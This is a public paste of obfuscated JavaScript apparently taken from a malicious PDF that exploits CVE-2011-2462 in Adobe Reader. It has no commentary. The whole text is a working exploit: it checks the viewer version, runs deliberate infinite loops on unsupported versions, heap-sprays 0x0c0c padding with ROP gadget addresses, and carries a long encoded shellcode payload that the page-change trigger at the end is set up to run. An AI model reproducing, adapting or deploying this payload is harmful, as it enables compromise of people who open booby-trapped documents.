Don't like ads? PRO users don't see any ads ;-)
Public Pastes
Guest

CVE-2011-2462 Javascript

By: a guest on Jan 11th, 2012  |  syntax: JavaScript  |  size: 10.82 KB  |  hits: 264  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. function yyy() {
  2.     while (1 > 2);
  3. }
  4.  
  5. function datagood(a, b) {
  6.     if (a > b) {
  7.         datagood(a, b)
  8.     }
  9.     if (b > a) {
  10.         datagood(a, b)
  11.     }
  12.     return a;
  13. }
  14.  
  15. function databad(a, b) {
  16.     if (a > b) {
  17.         databad(a, b)
  18.     }
  19.     if (b > a) {
  20.         databad(a, b)
  21.     }
  22.     return b;
  23. }
  24.  
  25. function urpl(k, sc) {
  26.     var c = "u";
  27.     var kc = k + c;
  28.     var re = /MM/g;
  29.     sc = sc.replace(re, kc);
  30.     return sc;
  31.     //}//.\#
  32. }
  33. padding_0c = "MM0c0cMM0c0c";
  34. padding00 = "MM0000";
  35. padding_41 = "MM4141";
  36. var x1 = 0;
  37. var x2 = 0;
  38. var x3 = 0;
  39. var x4 = 0;
  40. padding6 = "";
  41. padding10 = "";
  42. padding18 = "";
  43. padding2 = "";
  44. while (x1 < 6) {
  45.     padding6 += padding_41;
  46.     x1 = x1 + 1;
  47. }
  48. while (x2 < 10) {
  49.     padding10 += padding_41;
  50.     x2 = x2 + 1;
  51. }
  52. while (x3 < 18) {
  53.     padding18 += padding_41;
  54.     x3 = x3 + 1;
  55. }
  56. while (x4 < 2) {
  57.     padding2 += padding_41;
  58.     x4 = x4 + 1;
  59. }
  60. padding = unescape(urpl("%", padding6 + "MM53c3MM4a84" + padding10 + padding_0c + padding2 + padding_0c + padding2 + padding_0c + padding18 + "MM00d0MM0001" + padding6 + padding_0c));
  61.  
  62. while (padding.length < 0x10000)
  63. padding = padding + padding;
  64.  
  65. function all(bytes) {
  66.     return padding.substr(0, (bytes - 6) / 2);
  67. }
  68.  
  69. function spray(escA) {
  70.     var i;
  71.     var pointersA = unescape(escA);
  72.     var x = new Array();
  73.     for (i = 0; i < 2000; i++) {
  74.  
  75.         x[i] = all(0x8) + pointersA;
  76.         x[i] = all(0x88) + pointersA;
  77.         x[i] = all(0x88) + pointersA;
  78.         x[i] = all(0x88) + pointersA;
  79.  
  80.  
  81.     }
  82.  
  83.  
  84. };
  85.  
  86.  
  87.  
  88.  
  89.  
  90. ver = app.viewerVersion
  91.  
  92. var aaa, bbb, ccc, ddd, eee, fff, ggg, hhh;
  93. var t = 0;
  94. var i1 = 0x0c0c - 0x24;
  95. var i2 = 0x4000 + 0xc000;
  96. var i3 = (0x1020 - 0x08) / 2;
  97.  
  98. function xxxxxxxxyyyyyyyyzzzzzzzz1() {
  99.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  100. }
  101.  
  102. function xyz(ppp) {
  103.     aaa = ppp;
  104. }
  105.  
  106. function xxxxxxxxyyyyyyyyzzzzzzzz2() {
  107.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  108. }
  109.  
  110. function xxyyzz() {
  111.     ccc = aaa(urpl("%", "M" + "M" + "0" + "c" + "0" + "c"));
  112.     ccc += ccc;
  113. }
  114.  
  115. function xxxxxxxxyyyyyyyyzzzzzzzz() {
  116.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  117. }
  118.  
  119. function xxxyyyzzz() {
  120.     while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;
  121. }
  122.  
  123. function xxxxxxxxyyyyyyyyzzzzzzzz4() {
  124.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  125. }
  126.  
  127. function xxxxxyyyyyzzzzz() {
  128.     ddd += bbb;
  129. }
  130.  
  131. function xxxxxxxxyyyyyyyyzzzzzzzz5() {
  132.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  133. }
  134.  
  135. function xxxxxxyyyyyyzzzzzz() {
  136.     ddd += ccc;
  137. }
  138.  
  139.  
  140. function xxxxxxxxyyyyyyyyzzzzzzzz8() {
  141.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  142. }
  143.  
  144. function zzzzzzzzzzz() {
  145.     ggg = new Array();
  146. }
  147.  
  148. function xxxxxxxxyyyyyyyyzzzzzzzz9() {
  149.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  150. }
  151.  
  152. function zzzzzzzzzzzz() {
  153.     for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
  154. }
  155.  
  156. function xxxxxxxxyyyyyyyyzzzzzzzz3() {
  157.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  158. }
  159.  
  160. function xxxxyyyyzzzz() {
  161.     ddd = ccc.substring(0, i1 / 2);
  162. }
  163.  
  164. function xxxxxxxxyyyyyyyyzzzzzzzz6() {
  165.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  166. }
  167.  
  168. function xxxxxxxyyyyyyyzzzzzzz() {
  169.     eee = ddd.substring(0, i2 / 2);
  170. }
  171.  
  172. function xxxxxxxxyyyyyyyyzzzzzzzz7() {
  173.     for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  174. }
  175.  
  176. function xxxxxxxxxyyyyyyyyyzzzzzzzzz() {
  177.     fff = eee.substring(0, 0x80000 - i3);
  178. }
  179.  
  180. function zy946() {
  181.     bbb = aaa(urpl("%", 'MM4141MM4141MM0c0cMM0c0cMM0c0cMM0c0cMM6f29MM4a80MM0000MM4a8aMM2196MM4a80MM1f90MM4a80MM6f29MM4a80MM6cefMM4a80MM1064MM4a80MM0000MM0000MM0000MM1000MM0000MM0000MM0000MM0000MM0002MM0000MM0102MM0000MM6f29MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9038MM4a84MM63a5MM4a80MM1064MM4a80MMffffMMffffMM6cefMM4a80MM0000MM0000MM0000MM0001MM0000MM4a8aMM2196MM4a80MM1f90MM4a80MM903cMM4a84MMb692MM4a80MM1064MM4a80MM0000MM0000MM0000MM1000MM0000MM0000MM0000MM0000MM0002MM0000MM0102MM0000MM0000MM0000MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9038MM4a84MMb692MM4a80MM1064MM4a80MMffffMMffffMM0000MM0000MM0040MM0000MM0000MM0000MM0000MM0001MM0000MM0000MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9030MM4a84MMb692MM4a80MM1064MM4a80MMffffMMffffMM0022MM0000MM0000MM0000MM0000MM0000MM0000MM0001MM63a5MM4a80MM0004MM4a8aMM2196MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0030MM0000MMa8a6MM4a80MM1f90MM4a80MM0004MM4a8aMMa7d8MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0020MM0000MMa8a6MM4a80MM63a5MM4a80MM1064MM4a80MMaedcMM4a80MM1f90MM4a80MM0034MM0000MMd585MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM000aMM0000MMa8a6MM4a80MM1f90MM4a80MM9170MM4a84MMb692MM4a80MMffffMMffffMMffffMMffffMMffffMMffffMM1000MM0000MM9090MMfc81MM0000MM5858MM1677MMfc81MM0000MM0c0cMM0777MMe089MMe883MM8b04MM9000MM8390MM34c0MM04ebMMb866MM0059MMc933MMb966MM0700MM3480MM9708MMfae2MMc083MMff01MMc2e0MM7b1cMM7b16MM90a7MM9797MMc1c4MM50c0MM57d2MM9796MM9797MMd250MM9723MM9797MM5097MM3bd2MM9797MM9797MMd250MM1737MM9797MM5097MM8312MM686aMM9768MM9797MM7e97MM92e8MM9797MMf3c8MMa736MM9797MM1c97MM9bd7MMe71cMM3a8bMMcf1cMM1c9fMMabe4MMe31cMMc789MM6916MM3797MM9790MMb6e0MM9b29MM9b9bMM1c9bMM16a1MM9771MM6897MMf168MM891cMM16f1MMda6cMM1ccdMMe349MM169fMM9779MM9697MM7c97MM1c7bMMfd60MMce99MM447fMM9793MM7597MM1c6eMM1e90MMd712MM6869MM1468MM9350MM901cMM121eMM69abMM6868MM5014MM1c93MM1e90MMaf12MM6869MM1468MM9350MM901cMM121eMM69a3MM6868MM5014MM1c93MM1e90MMa712MM6869MM1468MM9350MM901cMM121eMM69bbMM6868MM5014MM1c93MM1e90MMbf12MM6869MM1468MM9350MM901cMM121eMM69b3MM6868MM5014MM1e93MMb72aMM6869MM9468MMa32aMM6869MM1e68MM8b2aMM6869MMff68MM9717MM9797MM121aMM69d3MM6868MMfdc7MM6897MM5fc2MM2a1aMM6a0bMM6868MM1cd8MM8b22MM6869MMd168MM1dd0MM1f91MM1790MMb2a9MM62e2MM9051MMff97MM8797MM9797MM1a1aMM6a8fMM6868MM1ac6MM0b02MM686aMMc568MMc268MM1e5bMM0f12MM686aMM1a68MM8f2aMM686aMM9468MM0f2aMM686aMM5168MMcb90MMd9d1MMd1d8MM1dd0MM1f91MM1790MM97a9MM62e2MM97fdMMd21cMMc723MMc268MMae4fMMd712MM6869MMe368MM1491MM23d2MM7c93MMfd7eMMfd97MM1c97MMbf1aMM6869MMc668MMc21cMMc523MMc268MMfd4bMMff97MM9717MM9797MM95fdMM97fdMM95fdMM97ffMM9797MM1a57MM8f12MM686aMMc768MMc268MM1e77MM2bd2MM1250MM6a83MM6868MM9797MM9797MM1a1cMM69abMM6868MMda1eMM1c0fMMab02MM6869MM5668MM9d7dMM02aeMM6a83MM6868MM1498MM9711MM9797MM97fdMMd21aMMc73fMM97ffMM9793MM1a97MM831aMM686eMMc668MMc21cMMc523MMc268MM5073MM0bd2MM9797MM9797MM9e7cMMd21cMM140bMM9657MMd21eMM160bMM0beaMM9397MM9797MMb1e4MMda1cMM980bMM0329MM839aMM686eMMa468MM0fc2MMd21cMM1f0bMM9203MM6e83MM6868MMda1cMMbc0fMM0fdaMM6614MM1e85MM0fdaMM5f7cMM97fdMMc21aMMc533MMd21cMMc73fMM1a1aMM6e83MM6868MM1cc6MM2bc2MM68c5MM7fc2MM121cMM6a83MM6868MM5714MM1e96MM8312MM686aMM7e68MM68f2MM6868MM1a1cMM6a83MM6868MM7656MM1c9dMMab02MM6869MMbc68MM1246MM9845MM1b13MM9797MMfd97MM1a97MM3fd2MM1cc7MM831aMM686aMM5668MM9d76MM021cMM69abMM6868MM46bcMM1ac5MM8312MM686eMMc768MMda1cMMc623MMc268MM5073MM0bd2MM9797MM9797MM9e7cMMc21cMM140bMM9655MMc21eMM1c0bMM8312MM686aMM5668MM9d77MM1a1cMM69abMM6868MM5fbcMMdaaeMMe40bMM1cb1MM0bc2MM2998MM8213MM6e83MM6868MMd2a4MM1c0fMM0bdaMM131fMM839aMM686eMM1c68MM0fc2MMc2bcMM140fMM8565MMc21eMM7c0fMMfd2cMM1a97MM33d2MM1cc7MM3fdaMM1ac6MM8302MM686eMMc568MMd21cMMc72bMMc268MM1c7fMM2bdaMM68c6MM7bc2MM2a1aMM6943MM6868MM57a4MM862eMM9797MM6597MM1a3cMM8f2aMM6868MMd868MM9051MMd0b5MMa817MMe297MM516dMMb590MM51d0MM9790MM021aMM6953MM6868MM1ac5MM4312MM6869MMc768MM97fdMM97fdMM97fdMM97fdMM97fdMM97fdMM1a1aMM6a8fMM6868MMfdc6MM6897MM63c2MMc21cMMc52bMMc268MM1a7bMM8f12MM6868MMc768MMda1cMMc637MMc268MM1a67MM8f2aMM6868MMd868MM17d0MM97a8MM6de2MM221cMM69b7MM6868MM1a1cMM69a3MM6868MM3365MM97fdMM97fdMM021cMM69b3MM6868MM1cc5MM23d2MM68c7MM4bc2MM97fdMM17ffMM9797MMfd97MMfd95MMfd97MMff95MM9797MM5797MM1a1aMM688fMM6868MM68c6MM77c2MMd21eMM502fMM8312MM686aMM9768MM9797MM1c97MMaf02MM6869MM5668MM9d7dMM02aeMM6a83MM6868MMeae4MM97fdMMd21aMMc73fMM97ffMM9793MM1a97MM831aMM686eMMc668MMc21cMMc523MMc268MM5073MM0bd2MM9797MM9797MM9e7cMMd21cMM140bMM9657MMd21eMM160bMM0beaMM9397MM9797MM8ae4MMda1cMM980bMM0329MM839aMM686eMM1668MM0065MM9797MM1c97MM0bd2MM031fMM8392MM686eMM7c68MMfd46MM1a97MM33daMM1cc6MM3fc2MM1ac5MM8312MM686eMMc768MMda1cMMc62fMMc268MM1c7fMM8302MM686aMM1468MM9655MM021eMM6a83MM6868MMe57eMM6868MM1c68MM8312MM686aMM5668MM9d77MM1a1cMM69afMM6868MM5fbcMM5e12MM1398MM9714MM9797MM97fdMMc21aMMc53fMM121cMM6a83MM6868MM7756MM1c9dMMaf1aMM6869MMbc68MMc65fMM021aMM6e83MM6868MM1cc5MM23d2MM68c7MM73c2MMd250MM970bMM9797MM7c97MM1c9eMM0bdaMM5614MM1e96MM0bdaMM021cMM6a83MM6868MM7556MM1c9dMMaf12MM6869MMbc68MMae55MM0bd2MM8ae4MMda1cMM980bMM0329MM839aMM686eMM1668MM0065MM9797MM1c97MM0bd2MM031fMM8392MM686eMM7c68MMfd53MM1a97MM33daMM1cc6MM3fc2MM1ac5MM8312MM686eMMc768MMda1cMMc62fMMc268MM1c7fMM2fc2MM68c5MM7bc2MM2a1aMM6943MM6868MM57a4MM862eMM9797MM6597MM1a3cMMd32aMM6869MMd868MM17d0MM97a8MM6de2MM9017MMd0b7MM9051MM1ab5MM8f22MM6868MMd968MMd1d0MM891dMM881fMMa917MMe297MM5162MMb590MM51d0MM9790MM121aMM6953MM6868MM1ac7MM431aMM6869MMc668MM97fdMM97fdMM97fdMM97fdMM97fdMM97fdMM021aMM69d3MM6868MMfdc5MM6897MM63c2MMd21cMMc723MMc268MM687bMM6fc2MMd21eMMfd27MM1c97MM27daMM68c6MM6bc2MMc1c6MMe41cMM1cabMM89e3MM94efMMc164MMe11cMM94b7MMa464MMc45eMMd6deMMcc3aMM5494MMa4c4MM984cMM8729MM41adMM9fe3MM5c56MM9490MMd74dMM667cMM88acMM72e2MMc9cdMMc91cMM94b3MMf14dMM9b1cMM1cdcMM8bc9MM4d94MM931cMM941cMMc055MM2a1aMM6853MM6868MMda1cMM1457MM9350MM6c75MMc83cMM5014MM1c93MMc94dMM68ceMM57d2MM7f54MM6debMM6868MM387aMM2368MMfd09MM7bdeMMe3a5MM9b06MM4812MM2c38MM8419MM3b9dMM29d4MM4c3bMMa504MM0373MMa125MM8498MM1a53MMe388MMf1c0MM689aMM75aeMM14eaMM2b5eMMfc31MM712cMMadb8MM6518MMf68fMMad2fMM9796MM0b97MM9797MM1793MM9797MM97b0MM9797MM89f9MM9797MM9782MM9797MM9ffeMM9797MM33feMM9797MMa7a5MMa5a6MMd1b7MMf3f2MMe5f2MMfbf6MMd2b7MMe7faMMf8fbMMf2eeMMb7f2MMf6c7MMb7eeMMf6d4MMf2fbMMf3f9MMe5f6MMe7b9MMf1f3MMb297MMf2e3MMe7faMMcbb2MMb9b9MMf4cbMMf1e3MMf8faMMb9f9MMeff2MM97f2MM9b97MM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9b' + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'));
  182. }
  183.  
  184. function spray_heap946(ppp) {
  185.     xyz(ppp);
  186.     zy946();
  187.     xxyyzz();
  188.     xxxyyyzzz();
  189.     xxxxyyyyzzzz();
  190.     xxxxxyyyyyzzzzz();
  191.     xxxxxxyyyyyyzzzzzz();
  192.     if (ver > 9.0) xxxxxxxyyyyyyyzzzzzzz();
  193.     xxxxxxxxyyyyyyyyzzzzzzzz();
  194.     xxxxxxxxxyyyyyyyyyzzzzzzzzz();
  195.     zzzzzzzzzzz();
  196.     zzzzzzzzzzzz();
  197. }
  198.  
  199.  
  200.  
  201. if (ver > 20) {
  202.     datagood(9, 8);
  203.     while (1);
  204. } else {
  205.     if (ver > 10.7) {
  206.         databad(7, 9);
  207.         while (1);
  208.     } else {
  209.         if (ver > 10.0) {
  210.             while (1);
  211.         } else {
  212.             if (ver >= 9.0) {
  213.  
  214.                 spray_heap946(unescape);
  215.  
  216.             }
  217.  
  218.  
  219.  
  220.  
  221.         }
  222.  
  223.     }
  224. }
  225.  
  226. spray('%u4141');
  227.  
  228. if (app.platform == "WIN") {
  229.  
  230.     this.pageNum = 2;
  231.  
  232. }
create a new version of this paste RAW Paste Data